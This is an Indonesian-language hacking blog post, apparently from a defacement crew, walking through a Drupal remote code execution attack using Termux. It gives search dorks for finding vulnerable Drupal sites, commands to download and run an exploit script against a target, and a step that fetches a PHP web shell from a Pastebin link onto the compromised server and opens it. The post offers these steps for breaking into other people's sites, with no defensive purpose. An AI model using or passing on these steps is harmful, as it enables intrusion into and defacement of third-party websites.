D3face Poc Drupal RCE

Ok Mas balik lagi sama gua Won :v

Seperti biasa kali ini gua mau share

Ngehek Poc Drupal RCE Up Shell

Alat tempur:

• Dork

• termux

Dork:

inurl:"*drupal_ajax"

"Powered by Druppal"

Kembangin lagi syng :v

Tools nya download di Sini

Command :

• pkg update && pkg upgrade

• gem install rubby

• pkg install wget

• wget [link tools github] -O drupal.rb

  Gosah make []

• rubby drupal.rb http://target.com

Berhasil?

Bakal kek gini

Cek Dengan ketik :

• uname -a

Nah klw muncul Kernel Web nya 

Berarti sukses

Cara up shell gmn?

Ketikan :

• wget https://pastebin.com/raw/AstuswNL -O won.php

Akses?

• http://target.com/won.php

Ok good luck